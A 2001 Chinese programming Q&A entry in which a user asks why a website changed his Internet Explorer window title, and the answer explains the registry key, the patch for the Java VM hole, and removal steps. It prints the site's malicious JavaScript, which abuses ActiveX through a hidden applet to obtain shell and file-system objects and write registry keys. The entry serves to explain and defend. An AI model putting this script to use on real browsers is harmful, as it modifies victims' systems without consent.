上过一个网站后,浏览器窗口的标题都被修改了
编号:QA004275
建立日期: 2001年7月1日 最后修改日期:2001年7月1日
所属类别:
Q
郦诚:
操作系统: windows2000
编程工具: Internet
问题: 当我上过:http://spschool.myrice.com(自称为:国内最好的课堂教学课件站)后, 我每次进入一个主页,最上面的标题都改为:国内最好的课堂教学课件站!http://spschool.myrice.com很烦人。不清楚在何处做了手脚。
水平: 中级
A回答:
这个主页利用浏览器的漏洞修改了你的注册表,具体位置为:
HKLM\Software\Microsoft\Internet Explorer\Main\Window Title
你可以使用RegEdit将这个键删除就可以了。对于这样的站点尽量少去,因为修改标题倒没有什么要紧,但如果利用浏览器的漏洞安装木马就危险了。要彻底解决这种问题,需要升级你的IE所使用的Java VM。下载新的Java VM的地址为:微软的Knowledge Base的文章:“Q275609 “FIX: Java Security Issue Allows Access to ActiveX Controls”。或者它在注册表找到HKEY_CLASSES_ROOT\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},找到后把整个项删掉就可以了。
下面是这个页面的部分代码,从中你可以看到它是如何修改你的注册表的。
<script language="JavaScript"><!--
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "国内最好的课堂教学课件站!http://spschool.myrice.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "国内最好的课堂教学课件站!http://spschool.myrice.com");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + ";
path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
// --></script>
此问题由李海回答。
附加关键字:编程, 源程序, programming, source code, 其他语言, asm, vba, vbscript, Web浏览器, ie, netscape。
| |
|
|
| |
|
|